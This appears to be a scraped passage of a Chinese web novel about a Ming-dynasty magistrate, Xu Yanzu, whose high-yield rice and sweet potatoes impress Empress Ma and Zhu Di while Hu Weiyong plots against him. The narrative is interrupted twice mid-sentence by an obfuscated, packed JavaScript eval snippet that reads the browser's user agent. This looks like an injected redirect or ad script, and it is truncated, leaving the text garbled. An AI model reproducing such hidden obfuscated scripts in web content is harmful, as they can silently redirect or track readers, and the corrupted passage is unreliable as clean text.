见状,徐彦祖便对二人解释道:“红薯这种农作物,不仅无毒,可以口感软糯香甜,上至八十岁老太,下至三岁婴童,都可以食用,可谓是老少皆宜,甚至可以当作主食。” “可这红薯千好万好,唯独有一点不好,一旦吃多了就容易放屁。何况顿顿吃红薯会导致膳食纤维不平衡,对身体不好,不过那就涉及营养学的知识了,你们现在还不懂,只需要知道吃多了不好,最好还是搭配主食一起吃为好。” 有了徐彦祖的解释,两人也算是恍然大悟。 只是在朱棣看来,红薯的产量倘若真如徐彦祖说的如此惊人,又没有明显的坏处,当主食吃也尚无不可。 “无非就是多放几个屁而已,这红薯的产量比水稻高这么多,二者相差百倍,我看完全可以让红薯充当以后我大明朝的主食。” 朱棣摩挲着下巴,这两日他跟着徐彦祖在红薯种植园中,亲眼见到徐彦祖如何栽种红薯,其实所需要的技术还有种植环境都没有特别高的要求,这样的农作物完全可以在整个大明大面积推广。 一旦推广下去,红薯的产量惊人不说,价格也不会过于昂贵,甚至要比水稻便宜不少。 到了那个时候,有钱的人吃水稻,没钱的人吃红薯,反正对于农民而已,吃饱穿暖足矣,何必在意其他。 就在这个时候,褚宁一脚踹开院门,嘴里还叼着一根稻草,双手背在身后朝众人走来。 “徐彦祖,你还不去看你的红薯种植园,那些技术人员都等你半天了,他们可说了,你跟他们说这红薯可以亩产三千斤,是水稻产量的三倍,要是达不到可要县衙赔偿呢!” 褚宁的话让马皇后和朱棣先是疑惑,而后就是不可置信的看着徐彦祖。 他们从褚宁的话中听的十分清楚,红薯亩产三千斤,是水稻亩产的三倍,那岂不是说这松阳县的水稻亩产在一千斤! 这样的产量可远远高于江浙地区啊! 马皇后迫不及待将褚宁拉到一边询问道:“褚姑娘,你刚才说红薯亩产三千斤,是水稻的三倍,是不是在说松阳县的水稻能亩产一千斤?” 面对马皇后急切的神色,褚宁眉头一皱,随后摸了摸马皇后的额头,嘀咕道: “干姐你这也没发烧啊,怎么会问出这种显而易见的问题,还是说干姐你的数学和我差不多。” 第六十六章 惊人的产量 褚宁的话让马皇后哭笑不得。 她哪里是数学不好,不过是对于徐彦祖和褚宁口中所说水稻的产量感到无比惊讶而已。 不过,徐彦祖和褚宁两人这自信十足的样子,倒真让马皇后有了几分相信。 “褚姑娘,我只是好奇你们松阳县的水稻当真能够亩产如此之多?你可知如今大明江浙地区的水稻产量最高的田地也不过你们松阳的三分之一!” 马皇后不禁说道。 闻言,褚宁摆了摆手,毫不在意的说道:“我还当是什么事情呢,不就是水稻的产量,口说无凭无据,想要知道真假一看便知。” 褚宁深知,自己的眼睛看到的才是真的,因此不让马皇后和朱棣亲眼所见,两人只会是半信半疑。 “一看便知?莫非这附近就有稻田?” 马皇后神色一喜。 褚宁点了点头,随后指着城外的方向说道:“城外有大片的稻田,现在这个时候,稻谷应该也熟的差不多了。” 马皇后急不可耐道:“可否带我们去看看?” “这有何难,那就先去看看水稻。” 徐彦祖朝两人笑道。 随后,在褚宁和徐彦祖的带领下,一行人来到了城外的农场。 徐彦祖为了种植水稻,专门在城外划分出了一块地方。 当马皇后和朱棣走下马车之后,入眼可见的就是一片绿油油的稻田,一眼望不到边际。 而当两人将目光落在稻田之中的时候,发现这田地里的稻穗长势甚是喜人不说,种植的密度还不小。 并且这稻穗上的麦粒,粒粒饱满,这不由让两人互相对视一眼后微微点头。 初步看来,这水稻亩产千斤并非谎话。 随即,马皇后和朱棣就在这儿稻田之中随意走动起来,她们倒要看看,是否每一块稻田里的麦子都如同刚才所见到的这般一样饱满。 见两人在稻田里晃悠,褚宁对徐彦祖不解的问道:“徐彦祖,你说郑大姐她们逛来逛去,不都是稻子,这有什么好看的?” 面对褚宁的不解,徐彦祖只是淡淡一笑。 像褚宁这样只知道打打杀杀的武夫,当然不会明白为何马皇后和朱棣会有如此大的反应。 在徐彦祖看来,马皇后和朱棣同为钦差大臣的家属,自然是心系百姓。 因此在她们的眼中,水稻这种足以解决百姓温饱的事情,自然不得不慎重对待。 但徐彦祖同时也充满了十足的信心。 在他来到大明之前,就耗费了大量的时间精力来培育杂交水稻。 如今来到大明之后,更是利用大明现有的稻种和以往的经验经过数十次的培育,这才有了如今的品种,这才能够达到亩产过千斤的壮举! 可以说在培育水稻这方面,徐彦祖吃尽了苦头,但终究是皇天不负有心人,让他成功培育出了足以解决饥荒问题的水稻。 “只可惜啊,这水稻虽然产量提上去了,可依旧还有一个致命的缺陷。” 徐彦祖不由感慨了一句。 “产量如此拔高的水稻竟然还有缺陷?” 就在徐彦祖感慨之时,马皇后和朱棣已经回到了身边。 听到水稻还有缺陷,两人不禁惊讶 毕竟在二人的眼中看来,这水稻颗粒饱满,叶片宽大,说一声稻中极品也不为过,竟然还有缺陷,还不能让徐彦祖满意。 “不知是何缺陷?” 朱棣刚才可是仔细观察了这些稻谷稻穗,并没有发现什么问题。 见两人疑惑,徐彦祖摇指不远处的水车解释道:“这水稻哪里都好,唯一的问题就是不耐旱。” 徐彦祖此言一出,马皇后和朱棣瞬间恍然大悟。 两人顺着徐彦祖的手指看去,只见不远处有着一排排的水车正在运作。 同时,马皇后这才反应过来,今年可是大旱之年,然而面前的这些水稻长势却如此之好,完全没有一点受灾的迹象。 而这其中的原因,想必就是不远处的那一排排水车。 “仅仅依靠那些水车,应该不足以抵御大旱吧?” 马皇后深知这其中必定没有表面看起来那么简单,其中必然还有自己不知道的原因。 闻言,徐彦祖缓缓点头随后起身。 “跟我来吧,虽然今年大旱,但是并不代表没有解决的办法,兴许朝廷可以先推广这个方法。” 在徐彦祖看来,与其让朱大善还有朝廷去推行什么新的律法,还不如推行这些惠民的东西。 随即,在徐彦祖的带领下,众人又一次来到的田间。 只是这一次徐彦祖却直接将手伸到了田地之中,在那水里一捞,很快就捞起来了一根管道。 马皇后定睛一看,这才发现这管道竟然一直埋藏在水下,刚才她和朱棣竟然没有注意到。 “你们目光所至的田地里面,都埋藏着数条管道,每当干旱的时候,这些管道就能将水车那边的水源输送过来,保证稻田水源充足。” 说着,徐彦祖将管道放下,起身指着不远处的水车介绍道:“松阳县虽然地势偏僻,但其处于盆地,周边有好几条大河,还有不少地下水,这些都为松阳县带来了充足的水资源。” 徐彦祖一边说,一边带着众人向水车走去。 途经的地方,马皇后和朱棣还看到了不少的深井,很明显,这就是徐彦祖说的地下水资源。 经过徐彦祖的介绍,马皇后和朱棣也是明白了为何松阳县的水稻竟然丝毫没有受大旱的影响。 随后,两人更是见到了规模庞大的水车建筑群,但是相比之前水稻产量和红薯产量的事情而言,这反而显得有些不足为奇了。 经过一早上的观察,马皇后和朱棣两人也起了心思,倘若将红薯和这水稻带回去,势必能够造福天下百姓,从此大明将在无饥荒。 而且粮食的产量一多,价格自然也下降了,到时候才是真正的人人都能吃饱饭。 加上如今徐彦祖已经进入了胡惟庸等人的视线中,只要推行了此事,徐彦祖身上多了些功劳那胡惟庸也不敢擅自轻举妄动。 于是席间,马皇后便主动朝徐彦祖开口询问此事:“徐县令,这红薯和水稻产量如此惊人,不知可否让我带一些回去培育?” 第六十七章 购买稻种 “带回去?” 徐彦祖看了马皇后一眼,并没有第一时间做回答,而是在心中细细盘算应该卖个什么价钱好。 见徐彦祖没有说话,马皇后还以为徐彦祖是舍不得这些种子,但是转念一想,这些都是松阳县发家致富的根本,牵扯着庞大的利益,毕竟粮食产量越高,价格也就越低。 大明现如今的粮价和松阳县的粮食产量完全是不对等的,徐彦祖可以从中获取庞大的利益。 可倘若推广到大明的所有州县,那粮食的价格必然会暴跌。 想到这里,马皇后连忙朝徐彦祖保证道:“徐县令你放心,你做出的贡献和善举,朝廷一定会对你大加封赏,绝对不会亏待你的!” 徐彦祖摆了摆手,从他落户在这松阳县开始,就没想过要什么朝廷的赏赐,反正都会是一死,那些赏赐生不带来死不带去。 不过,既然马皇后开口说到了朝廷,那他这种子的价格就不能卖地了,少说也要是卖给其他县城的数倍才行。 于是,徐彦祖轻咳一声,朝马皇后笑道:“郑大姐言重了,本官一心为民,又岂是那种贪图蝇头小利之人,这朝廷的封赏就不必了,只是这价格嘛……” 一旁的褚宁听到这话,则是暗中掐了徐彦祖大腿一下,她猜出来徐彦祖这是打算痛宰马皇后一番,可马皇后极有可能是她的母亲,就算不是也是她认的干姐,她怎么可能看着自家人吃亏。 徐彦祖话音戛然而止,暗暗吃痛。 然而这还没完,只见褚宁恶狠狠的瞪了徐彦祖一眼,那眼神里充斥着威胁之色。 见状,徐彦祖只能无奈摊手说道:“这价格必须按照市价来,我卖给其他州县是什么价格,卖给你郑大姐就是什么价格,不过只有水稻的种子,红薯不行。” 当得知只有水稻种子时,马皇后神色有些失落,不过有水稻种子也足够了,她起身朝徐彦祖拱手作揖:“那我就代大明的百姓多谢徐县令了。” 一旁的褚宁则是撇了撇嘴,对徐彦祖有些不满:“这么小气,还把红薯藏着掖着,拿出来一起卖给干姐又不耽误你挣钱。” 褚宁的话让徐彦祖脸色一黑。 想到刚才褚宁破坏他的好事,他心中就来气,当即不客气的回怼:“你个小丫头片子懂什么,这红薯才刚刚落到我的手里,我还没有种植成功,能不能丰收,亩产能不能达到预期都还不知道,怎么卖个别人?做生意,要对客户负责指导吗!” 徐彦祖这话说的褚宁哑口无言,她想反驳徐彦祖,但找不到理由,只能气鼓鼓的坐在一边。 殊不知,徐彦祖话并没有说完。 这红薯可是他派出了好几波人一连探索了数年才带回来的东西,怎么可能就这么轻而易举的卖出去,最起码也要松阳县先丰盛一年再说。 见徐彦祖和褚宁为了自己买种子的事情闹矛盾,马皇后也是急忙出来打圆场。 “褚姑娘,徐县令能够卖给我水稻的种子,已经是如天之仁了,换作其他人,根本就不可能把这么宝贵的东西拿出来出售。” 说着,马皇后又看向徐彦祖问道:“徐县令,那就按照市价来,我买五百斤!” 五百斤? 徐彦祖眉头微微一挑,他没想到马皇后一出手就是一个大单。 随后,徐彦祖就叫来了王海,和马皇后做了这笔交易。 当然,交易的那些银子,则是被徐彦祖喜滋滋的给带回了县衙。 马皇后和朱棣回到酒店之后,王海早已经让人将五百斤种子送了过来。 看着那颗粒饱满的稻种,两人脸色是止不住的喜悦。 “这徐县令,真乃神人也!” 马皇后不由感叹。 在松阳县待的日子越久,和徐彦祖认识的越深,马皇后就越发觉得徐彦祖越发神秘。 要知道培育稻种自古以来都有人在做,可是徐彦祖这样一个名不见经传的人却能做到如此地步,简直是匪夷所思。 “没错,这徐县令简直是文武双全,是不可多得的大才!” 朱棣也深感认同。 但同时朱棣又暗道可惜,徐彦祖不愿意收他为徒,否则他只要在徐彦祖的手里学些本事,回到朝中必定会得到朱元璋的重用。 而后,马皇后叫来了锦衣卫,将这几日的所见所闻全都写在了书信上,甚至连稻种的产量也一并注明。 “八百里加急,用最快的速度将这封信传给陛下,你们必须亲自押送这批稻种回应天府,除了陛下之外,任何人无权过问此事,明白吗?” 事关重大,马皇后可不希望出现什么问题。 锦衣卫见马皇后神色如此严肃,连忙点头:“放心吧娘娘,我们必定将东西安全送回应天府交给陛下。” 接下来的几天,朱棣每日早早出门跟随徐彦祖前往红薯种植园里学技术,日子过的倒也清闲。 至于马皇后,则是拉着褚宁在松阳县内逛了起来。 说是闲逛,实际上是已经确定了褚宁的身份,想要和褚宁多待一会儿,弥补以前不在褚宁身边的遗憾。 只不过,一连几天,马皇后也没有鼓起勇气告诉褚宁真相,只能打着找女儿的幌子陪伴在褚宁的身边。 想必松阳县的风平浪静,此刻的应天府,相府内,所有人全都是噤若寒蝉。 只因为胡惟庸派去松阳查探消息的人已经回到了府中,此刻正跪在大堂之中,等候胡惟庸的发落。 “真是一群废物!” 胡惟庸人未至声先到,虽然声音不高,可在场的众人全都纷纷跪在地上。 “参见相爷!” 在众人异口同声的跪拜中,胡惟庸带着管家大步流星的走了进来。 一进来,胡惟庸就冷哼一声:“本相养了你们几十载,你们就是这样回报本相的?连一个毛头小子都对付不了?” 胡惟庸神色冷厉,眼里蕴藏着怒意。 一旁的管家见状,更是对领头那人怒斥道:“还不回话,到底是什么原因!” 第六十八章 徐彦祖的奏折 尽管已经提前得到了消息,但不管是胡惟庸还是管家,都不相信徐彦祖一个小小的七品县令,竟然能够有如此大的能耐。 要知道这一次胡惟庸派去松阳县的人可都是相府暗中培养的好手,以往在执行其他任务的时候可从来都没有出过错,怎么可能会栽在徐彦祖这样一个名不见经传的人手中。 面对管家的询问,领头之人面露苦涩,他将头深深埋低,如实回道:“回相爷,属下们回禀的消息没有半点虚假。” 此言一出,大堂中跪着的众人神色都无比的惭愧。 这相当于是承认了他们一群人都还不是徐彦祖一个人的对手,这简直就是奇耻大辱,完全就是再说他们是饭桶! 而高坐主位的胡惟庸则是双眼冒火。 他设想过无数种的可能,其中当然也不乏失败的可能性,可他从来没有想过自己派出去这么多人,竟然不是徐彦祖一个人的对手。 不过当务之急,胡惟庸还是要搞清楚到底发生了什么。 于是,他强压下心中的怒火,对着下面跪倒的人冷冷地问道:“到底是怎么回事?你们有没有收集到有关徐彦祖的罪证,一并说来。” 见胡惟庸发怒,领头之人只好硬着头皮将事情和盘托出。 而得知自己的手下竟然连徐彦祖任何罪证都没有搜集到时,胡惟庸气的浑身颤抖,连胡子都气的翘了起来。 下一秒,他那因发怒而颤颤巍巍的手,竟然直接落在了一旁的管家脸上。 只听到一声脆响,在场的众人先是一愣,随后连忙将头埋低。 “这就是你办的事情,这就是你派出去的人!” 管家被胡惟庸这句话吓的面色苍白,连忙跪倒在地。 “相爷,是小人办事不力,还请相爷恕罪啊!” 管家的语气惶恐不安,他在胡惟庸身边数年,当然知道胡惟庸的脾气秉性。 要知道这些年来随着胡惟庸手中的权力越来越大,胡惟庸自己的脾气也越来越易怒,甚至反复无常,常常一言不合就重罚他们这些下人。 而且他可还清楚的记得,上一任相府的管家,就是因为做错了事情被胡惟庸给逐出了府,当天夜里就暴毙街头了,他可不想自己也落得一个这样的下场。 因此,管家直接对着胡惟庸跪地磕头起来。 听着管家头磕的砰砰作响,胡惟庸对管家的怒意也消散了一些。 他淡淡开口说道:“行了,起来吧,别把我这相府的青石板地砖磕碎了,这些可都是从云南运回来的石料。” 有了胡惟庸这话,管家这才松了口气,他连忙回道:“多谢相爷开恩!” 随后,脸上带着一副劫后余生的模样垂手站在一边。 胡惟庸气愤的扫视了众人一眼,同时心中也惊疑不定。 作为和朱元璋一同杀出来的人,胡惟庸自身自然也是有武艺傍身的,他当然知道府中豢养的这些人武艺有多么高强。 可就是这么多武艺高强的人,去松阳县对付一个徐彦祖,竟然死的死伤的伤,这要是被别人知道,那他胡惟庸的面子往哪放? 更重要的是,如果徐彦祖真有这样的武艺,那他可就得小心谨慎一些了。 毕竟徐彦祖手中落了两个活口,难免不会问出自己就是幕后主使,万一徐彦祖仗着这身武艺要对自己出手,那岂不是完全拿徐彦祖没有办法。 想到这里,胡惟庸心中竟然升起了一丝急迫的感觉。 他看向一旁的管家,当即下令道:“传我的令,从今日起相府闭门谢客,并且严加戒严,加强巡逻。” “小人这就去办,保证连只苍蝇都飞不进来!” 管家连忙转身离去。 然而还没有走出去多远,就手捧着一个折子折回到了大堂之中,并且嘴里还高呼道:“相爷,大事不好了!那徐彦祖竟然上折子要参你!” 胡惟庸听到这话,右手重重的拍在椅子扶手上,脸上一副不可置信的表情:“你说谁参我?再说一遍!” 管家跑到胡惟庸身前,将手中的折子呈在身前:“相爷,刚才吏部刚送过来的折子,还热乎着呢!” 管家这句热乎着呢,就是在告诉胡惟庸,这封折子没有被朱元璋看到,吏部官员在审查折子的时候,第一时间就将这份折子差人送到了相府。 胡惟庸拿起折子定睛一看,只见封面上工整的写着松阳县令徐彦祖几个大字。 随后胡惟庸将折子打开一看,首先映入眼帘的就是徐彦祖状告他谋反一事。 “他怎么敢如此污蔑于我!岂有此理,简直是一派胡言!” 胡惟庸气的双眼怒火几欲喷出,他连折子都没有看完,就当着众人的面将折子给撕成了两半。 “这徐彦祖小儿竟然敢如此污蔑于我,往我身上泼这等脏水,真是找死!” 胡惟庸愤怒的同时,心中还无比的惶恐。 现如今他刚被朱元璋小惩大诫以儆效尤,要是这样的折子上奏给了朱元璋,按照朱元璋的脾气必定会对自己发难。 胡惟庸是狂妄自大,但不代表他是一个蠢人。 相反,能够做到这个位置,并且将浙东集团打垮,将其他政敌压制,除了淮西勋贵的势力庞大之外,胡惟庸本身也并非酒囊饭袋之人。 他心中明白,不管自己有没有造反之心,如今朱元璋对自己不满,等的就是这样一个由头。 “真是有什么样的师傅就教出什么样的徒弟,这徐彦祖和那刘伯温一样令人生厌,你现在去把那人给我请来,我有要事要和他说。” 如果说之前胡惟庸仅仅只是想要斩草除根才对徐彦祖出手,那现如今徐彦祖就完全已经步入了胡惟庸的视野之中,甚至已经让胡惟庸起了杀心。 胡惟庸目光狠厉:“徐彦祖,既然你不想安分的躲在松阳县,喜欢出来蹦跶,那我倒要看看你能够蹦跶几天!” 胡惟庸的话让管家心头一颤,他没想到胡惟庸竟然对徐彦祖起了这么重的杀心,甚至一刻都不愿意等下去,在这个时候甘愿冒这么大的风险联系那人! 第六十九章 小泉太郎 当然,即便觉得有些不妥,管家还是点头道:“相爷放心,我这就去联系那人。” 说完管家就转身离去。 等到管家走后,胡惟庸将目光落在跪在地上的这些人身上。 终究是相府花了时间精力培养出来的人,对相府的忠诚度也比较高,胡惟庸尽管雷霆震怒,可也没打算将这些人全部处死。 他负手转过身去,淡淡说道:“死罪可免,活罪难逃,全部下午领五十杖责。” 不多时,相府内就传出了一片拍板子的声音。 要知道对于这些相府豢养的武士,胡惟庸投入了大量的财力,穷文富武,不花钱是培养不出高手的。 也正因为如此,胡惟庸给这些人定下的惩罚是极为严苛的。 这五十的杖责,完全是按照军中的力度来打。 倘若不是因为这些人习武身体素质异于常人,一般人别说挨上五十杖责,就是一板子下去,也能要其半条命! 与此同时,管家也行色匆匆的回来禀报。 “相爷,那人已经来了,如今正在偏房中等候。” 闻言,胡惟庸神色一喜,但又对管家询问道:“这一路上没有人跟踪吧?” 如今乃是非常时期,胡惟庸从之前朱元璋惩戒自己的事情中能够看出朱元璋对自己已经起了戒心,按照朱元璋的习惯,极有可能会派锦衣卫暗中监视,因此胡惟庸不能不防。 管家摇摇头,他同样知道那人身份关系重大,自然小心翼翼。 “放心吧相爷,我先带他乔装打扮了一番,扮作那打鱼的渔夫,这才带他进的相府,绝对不会引起别人的注意。” 管家的话让胡惟庸悬着的心放了下来。 随后,胡惟庸快步来到偏房,管家则是在门口守候。 一进门,胡惟庸就看到一个渔夫打扮人正气定神闲坐着。 见胡惟庸到来,渔夫热情起身开口打着招呼:“胡桑,好久不见!” 胡惟庸轻轻点头,也回以一个微笑,不过对比起渔夫的热情,反而是显得冷淡不少。 这自然是因为眼前之人乃是东瀛人! 胡惟庸对其只有利用之心,并无相交之情。 当然,表面工作胡惟庸还是要做足的。 “小泉太郎,请坐。” 等到二人落座之后,小泉太郎不禁问道:“胡桑今日如此着急叫我前来,不知所为何事?” 胡惟庸只是淡淡一笑,给小泉太郎倒了杯茶说道:“难道无事就不能请小泉太郎来相府喝喝茶?” 小泉太郎也跟着笑了起来,而后说道:“胡桑,这些日子以来我一直都在研究你们大明的文化,我前几天看到一句话,叫作无事不登三宝殿,胡桑请我前来,只怕不仅仅是喝茶那么简单吧?” 此言一出,胡惟庸和小泉太郎相视一笑,一切尽在不言中。 另外一边,还在御书房批改奏折的朱元璋神色微微一动,他抬起头,目光正好迎上一路小跑进来的贴身太监杜安道。 “怎么了?如此慌慌张张的?” 朱元璋面不改色,淡淡问道。 面对朱元璋的询问,杜安道连忙回道:“回禀陛下,是跟随皇后娘娘一起前往松阳县的锦衣卫回来了,他们还压着两个犯人,说要亲自面见陛下。” “压着两个犯人要见咱?还是从松阳县回来的锦衣卫?” 朱元璋眉头微微一皱,觉得事情并不简单。 “让他们进来吧。” 朱元璋挥了挥手。 随后,三个锦衣卫就押着徐彦祖在松阳县抓到的两个人进入殿内。 五人齐刷刷的跪在地上行礼:“拜见皇上!” “起来吧。” 朱元璋好奇的打量着被锦衣卫押送的人,随后问道:“这两个是何人?又犯了何事?” 领头的锦衣卫连忙将松阳县发生的一切如实说了出来。 朱元璋的脸色也随着锦衣卫的讲述沉了下去。 当他的目光再次落在那两人身上之时,早已经没了先前的好奇,取而代之是一股凛冽的杀意! 不过身为一国之君,他还不至于对这两个小人物发雷霆之怒。 同时朱元璋也明白了马皇后的意思,这是要让他专门审理这两人,兴许能从这两人身上找到胡惟庸的突破口,从而拿胡惟庸开刀。 于是,朱元璋缓缓起身踱步走到两人面前。 “咱只给你们一次机会,将你们知道的事情还有和胡惟庸有关的所有事情全部写下来。” 朱元璋只这么一句话,也没有多余的动作,但让跪倒的两人面色发白,呼吸急促。 毕竟他们所面对的,乃是大明第一任皇帝,朱元璋! 朱元璋仅仅只是站在他们面前,那股不怒之威的气势就让两人倍感压力。 当然,朱元璋这话也对两人释放出了十分明显的信号。 想要活命,那就将一切全都说出来,可倘若不说,朱元璋那铁血手段整个大明谁人不知谁人不晓,他们可是清楚的知道,这位皇帝可是从尸山血海中杀出来的,别看当了皇帝,可身上的杀气却不减反增! 随即,两人毫不犹豫叩首说道:“多谢陛下开恩,我们一定知无不尽!” 朱元璋扫了两人一眼,对身旁的锦衣卫说道:“将他们二人带下去写口供。” 同时,朱元璋也派人将朱标叫来。 等到朱标到来的时候,两人的口供已经放在了桌上,朱元璋面色则是十分平静,可他的目光却寒冷至极,宛若万年不化的寒冰一般,可见这口供上面所述的东西,让朱元璋多么气愤。 “儿臣参见父皇。” 向朱元璋行礼过后,朱标的目光就落在了桌上的口供上。 在来的路上,朱标就已经听太监将事情说了个大概,他没想到胡惟庸的手竟然这么快就伸到了松阳县,更没想到徐彦祖竟然身手不凡,化险为夷。 “标儿你来了,先看看口供吧。” 朱元璋的声音里透着一丝疲惫,他背对着朱标,所以朱标并没有看到朱元璋眼中的凝重还有挣扎。 朱标闻言,上前拿起口供仔细看了起来。 可那口供朱标才看了不过几眼,神色就猛的大变。 他不可置信的看向朱元璋,同时心头无比惶恐,连忙朝着朱元璋跪下请罪道:“父皇,儿臣有罪!” 第七十章 朱标的好奇 朱元璋闻言,转过身快步上前将朱标扶起,无奈道:“标儿,这和你有什么关系,咱不是那种是非不分之人。” 朱标摇了摇头,解释道:“儿臣愧对父皇的信任,在监国期间,竟然没有发现胡惟庸阳奉阴违做了这么多的恶事,纵使这些事情和儿臣没有关系,但儿臣也有一个失察之责。” 朱标的这番话让朱元璋无比欣慰,但同时对那胡惟庸更加深恶痛绝。 他摆了摆手说道:“胡惟庸刻意隐瞒,朝中又多是他的耳目,你不知情也属正常,不过现如今口供你也已经看过了,标儿依你之见,此事该如何处理?” 朱标闻言,拿着口供思索起来。 他明白,朱元璋这话既是询问,同样也是对他的考验。 思索片刻之后,朱标神色严肃。 他拱手对朱元璋说道:“回父皇,儿臣认为,胡惟庸如今在朝堂上已成气候,党羽众多,不可轻举妄动。” 正所谓牵一发而动全身,朱标自然明白朱元璋对胡惟庸动了杀心,可还是那句话,现如今还不到动胡惟庸的时候。 “那依你所言?莫非就这样放纵胡惟庸继续胡作非为下去?” 朱元璋面露不悦之色。 见状,朱标却是微微摇头,解释道:“父皇,儿臣只说不可轻举妄动,但并不代表不动胡惟庸,现如今胡惟庸的注意力都在松阳县的徐彦祖身上,我们正好可以借此机会顺藤摸瓜暗中调查。” “并且,父皇可不要忘记了徐彦祖的身份。” 朱标话音刚落,朱元璋的眼睛就亮了起来。 徐彦祖明面上的身份是松阳县的县令,可他的另一重身份却是刘伯温的弟子。 而一说起刘伯温,就不得不提浙东集团,这也让朱元璋立刻明白了朱标的想法。 想要铲除胡惟庸并非一朝一夕就能解决的事情,杀胡惟庸很简单,可关键在于杀了胡惟庸之后该如何处理后续的烂摊子。 可倘若借助浙东集团的手段就不同了,可以依靠他们极快的稳定住局势。 “既然如此,那标儿与你之间该如何做呢?” 朱元璋不由问道。 “回父皇,儿臣以为,应当派两拨锦衣卫出去,兵分两路,其一暗中搜查胡惟庸的罪证,其二则是去往松阳县保护徐彦祖的安全。” 朱标将心中的想法说了出来,虽然从锦衣卫还有马皇后的信件中得知徐彦祖武艺高强,但双拳难敌四手,徐彦祖如今又是推翻胡惟庸计划中十分重要的关键人物,朱标自然不会让他出现纰漏。 “那就依你之言,下去安排吧。” 朱元璋将事情交给了朱标去做。 “儿臣告退。” 朱标朝朱元璋拱了拱手,转身退了出去。 不过在转身之时,朱标嘴里却念了下徐彦祖的名字,嘴角带着浅笑。 很明显,这位当今的太子殿下,此刻对徐彦祖升起了浓厚的兴趣。 转眼之间,半个月转瞬即逝。 远在松阳县的朱棣这半个月来可谓是无比的劳累。 身为皇子,他每日就是跟在徐彦祖的屁股后面在红薯种植园中劳作。 一开始徐彦祖还顾及他是所谓钦差大臣儿子的身份,没有安排他干太重的活计。 然而到了后面,随着时间紧迫,加上农忙时节的到来,松阳县人手紧缺之下,徐彦祖直接把他当作了苦力来使唤,这可让朱棣苦不堪言。 每天日出而作日入而息,累的腰都直不起来了。 而反观马皇后和褚宁二人,整日除了在松阳县喝茶聊天,就是在附近游山玩水。 这让朱棣的心中难免多了些不平衡。 当他再一次回到酒店的时候,正好再一次看到马皇后和褚宁围坐在桌前有说有笑,看着那桌子上摆放着都精美的糕点,在想到自己中午跟随徐彦祖吃糠咽菜,朱棣心中的怨气立马就涌了上来。 正巧褚宁看到朱棣正直勾勾的盯着自己和马皇后,出于玩闹的心理,褚宁指着一旁的糕点对朱棣打趣道:“大外甥,是不是干了一天农活肚子饿了,要不要过来吃点东西?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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朱棣点点头,这段时日以来,他跟随在徐彦祖的身边,学到了不少东西,同时也明白了朱标和朱元璋将他派来这松阳县真正的用意。 毕竟朱标的太子之位无可撼动,日后登基已经是明面上的事情,所以他现在所做的一切,其实都是在朱标朱元璋两人的授意下提前为就藩做准备。 第七十一章 松阳县的模式 “娘,我已经明白大哥和爹的用心良苦了,所以这半个月来,我跟随在徐彦祖身边孜孜不倦学习,不敢有所松懈。” 朱棣并未说假,这些天来他的勤奋好学徐彦祖看在眼里,虽然徐彦祖把他当作牛马使唤,但也的确教给了他很多真才实学的东西,也让他受益匪浅。 闻言,马皇后心中不免有些好奇起来,她对朱棣问道:“既然如此,那老四你和为娘说说看,这半个月来你有些什么收获,在徐彦祖身边学到了些什么?” 面对马皇后的询问,朱棣点点头,随后宛如打开了话匣子一般侃侃而谈。 “这半个月,虽然我每日起早贪黑跟随徐彦祖劳作,但也跟随徐彦祖走遍了松阳县的每个产业,对其都产生了一定的了解。” 尽管徐彦祖现如今的重心是放在红薯种植园上面,可是这段时日松阳县因为农忙时节到来,不仅要忙着准备农忙时节需要的东西,同时其他县城来往的商人官员也有不少。 这就导致连徐彦祖都变得忙碌无比,完全告别了之前的咸鱼生活。 当然,一直跟在徐彦祖身边的朱棣,自然也从中看到了很多。 “娘,虽然我们已经高估了徐彦祖,但是经过这半个月以来的了解,我发现我们还是低估了徐彦祖。他在松阳县设立的那些产业,无比丰富,这些天来我看的简直是眼花缭乱。” 见识到的产业越多,朱棣对徐彦祖就越发的钦佩。 马皇后看到朱棣提到徐彦祖一脸的钦佩,也是忍不住笑道:“老四啊,知道徐彦祖很厉害,但是你能不能别光顾着夸他,也说一说你在徐彦祖身边这半个月以来到底学到了些什么?” 徐彦祖再厉害,那也是别人家的孩子,马皇后更想知道的是朱棣学会了什么,对后面就藩有没有帮助。 毕竟儿行千里母担忧,等到朱棣就藩之后,一切就只能靠他自己了。 朱棣挠了挠头,不是他想夸徐彦祖,实在是这些天他见识到的东西给他带来的震撼太大了。 “其实这些天来虽然我跟着徐彦祖把整个松阳县的产业都认识了个遍,但也只不过是初步了解。” 马皇后挑了挑眉:“那这样说的话,你是什么东西都没有学到了?” 朱棣连忙摇头。 “也并非一无所获,要说真学到了什么,那就是徐彦祖做事的特性,他擅长将很小的事情做的很大。” 此言一出,马皇后不禁疑惑:“这不就是商人吗?” 然而朱棣却再次摇头说道:“乍一看是商人的特性,但徐彦祖和那些商人不同,他做的事情几乎没有一个商人能够做到,他们也不敢这样去做。” 随即,朱棣也是指着窗外的田地对马皇后打起了比方:“就例如那些田地,在我大明,一般来说都是一会我家一亩田地,多的也不过是三四亩田,哪怕是那些大户人家,也不过几十几百亩田地,看似多,但是比起徐彦祖却远远不如。” “对于这些田地,徐彦祖的做法是将其全部收拢,把整个松阳县境内的土地连成一片,随后再分给那些百姓承包耕种,这样一来,专门种地的百姓手里的田地数量大大增加,一些穷困的百姓甚至可以分到十几亩地,完全能够依靠这些田地富裕起来。” 听到这里,马皇后立刻察觉到了其中不对的地方。 “按照你这样说,那些没有分到土地的农民该怎么办,土地总共就那么多,徐彦祖的做法看起来也只不过是将土地打乱重新分配而已。” 朱棣的话让马皇后听的一头雾水。 如果按照朱棣这般所言,那徐彦祖这样的做法无非只是将土地使用的人进行洗牌,把那些大户人家隔绝在外,可这样一样照顾不到全部松阳县的百姓。 面对马皇后的疑惑,朱棣笑着解释道:“娘,一开始我和你想的一样,可慢慢的我发现不是这样,徐彦祖虽然重新分配了土地,可那些没有分配到土地的人同样可以领取一份租金,并且不至于此,你看窗外!” 朱棣变得无比兴奋,他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 